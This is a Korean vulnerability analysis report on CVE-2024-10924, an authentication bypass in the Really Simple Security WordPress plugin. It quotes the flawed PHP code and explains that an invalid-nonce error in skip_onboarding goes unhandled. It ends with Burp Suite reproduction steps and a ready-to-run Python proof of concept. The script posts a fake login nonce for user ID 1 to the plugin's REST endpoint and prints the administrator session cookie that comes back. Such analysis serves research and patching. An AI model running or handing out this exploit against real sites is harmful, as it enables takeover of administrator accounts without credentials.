[CVE-2024-10924] 취약점 분석 보고서
Really Simple Security plugin 9.0.0 ~ 9.1.1.1 버전에서 발생하는 인증 우회 취약점
개요
Really Simple plugin 9.0.0 ~ 9.1.1.1버전에서 발생하는 인증 우회 취약점이다.
이 문제는 2단계 인증이 활성화되어 있는 경우 인증되지 않은 공격자가 임의 계정으로 로그인할 수 있다.
분석
이 취약점은 2단계 인증을 활성화한 사이트에게만 영향을 미친다.
2단계 인증 REST API 작업에서 사용되는 ‘check_login_and_get_user’ 함수에서 부적절한 검증 오류로 발생한다.
really-simple-ssl\security\wordpress\two-fa\class-rsssl-two-factor-on-board-api.php
1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* Skips the onboarding process for the user.
*
* @param WP_REST_Request $request The REST request object.
*
* @return WP_REST_Response The REST response object.
*/
public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
$parameters = new Rsssl_Request_Parameters( $request );
// As a double we check the user_id with the login nonce.
$user = $this->check_login_and_get_user( (int)$parameters->user_id, $parameters->login_nonce );
return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
}
Rsssl_Two_Factor_On_Board_Api 클래스 내의 skip_onboarding 함수를 사용하여 REST API를 통한 인증을 처리하고 있다.
check_login_and_get_user함수로 user_id와 login_nonce 매개변수를 사용하여 사용자를 검증한다.
really-simple-ssl\security\wordpress\two-fa\class-rsssl-two-factor-on-board-api.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
* Verifies a login nonce, gets user by the user id, and returns an error response if any steps fail.
*
* @param int $user_id The user ID.
* @param string $login_nonce The login nonce.
*
* @return WP_User|WP_REST_Response
*/
private function check_login_and_get_user( int $user_id, string $login_nonce ) {
if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
return new WP_REST_Response( array( 'error' => 'Invalid login nonce' ), 403 );
}
/**
* Get the user by the user ID.
*
* @var WP_User $user
*/
$user = get_user_by( 'id', $user_id );
return $user;
}
취약점은 skip_onboarding 함수에서 발생한다. check_login_and_get_user함수에서 잘못된 nonce 값을 전달할 경우 WP_REST_Response 오류를 반환하지만, 반환된 후에 skip_onboarding 함수 내에서 오류를 적절하게 처리하지 않아 유효하지 않은 nonce의 경우에도 함수 처리가 계속되어, 요청에서 전달된 사용자 ID를 기반으로 사용자를 인증하는 authenticate_and_redirect() 를 호출한다. 이 과정에서 사용자의 신원이 검증되지 않았음에도 불구하고 인증이 이루어진다. 결국 공격자는 인증을 우회해 임의의 계정에 접근할 수 있다.
Exploit
취약한 Really simple plugin을 설치하고 Security 탭 Settings로 들어가준다.
Login Protection 에서 “Enable Two-Factor Authentication”을 활성화 시켜주고, 그 밑에서 이메일 인증도 활성화 시켜준다.
계정 정보를 입력하고, burp suite로 패킷을 캡처한다.
그리고 skip_onboarding 함수에 잘못된 nonce값을 보내면 user_id에 대한 쿠키를 반환한다.
해당 쿠키를 복사해 아까 첫 번째로 캡처한 패킷에 쿠키를 붙여넣는다.
이 상태로 요청을 보내면 2단계 인증을 우회해 로그인이 된다.
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
import requests
import argparse
import logging
def get_cookie(url):
logging.basicConfig(level=logging.DEBUG)
user_id = 1
endpoint = f"{url}?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
print(f"request url: {endpoint}")
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
}
body = {
"user_id": int(user_id),
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
logging.debug(f"Body: {body}")
try:
res = requests.post(endpoint, headers=headers, json=body, verify=False)
logging.info(f"status_code: {res.status_code}")
except Exception as e:
logging.fatal("Error contact to target url")
return
logging.info(f"Cookie: {res.headers["Set-Cookie"]}")
def main():
parser = argparse.ArgumentParser(description='CVE-2024-10924')
parser.add_argument("-t", "--targeturl", help='[targeturl]', required=True)
args = parser.parse_args()
get_cookie(args.targeturl)
if __name__=="__main__":
main()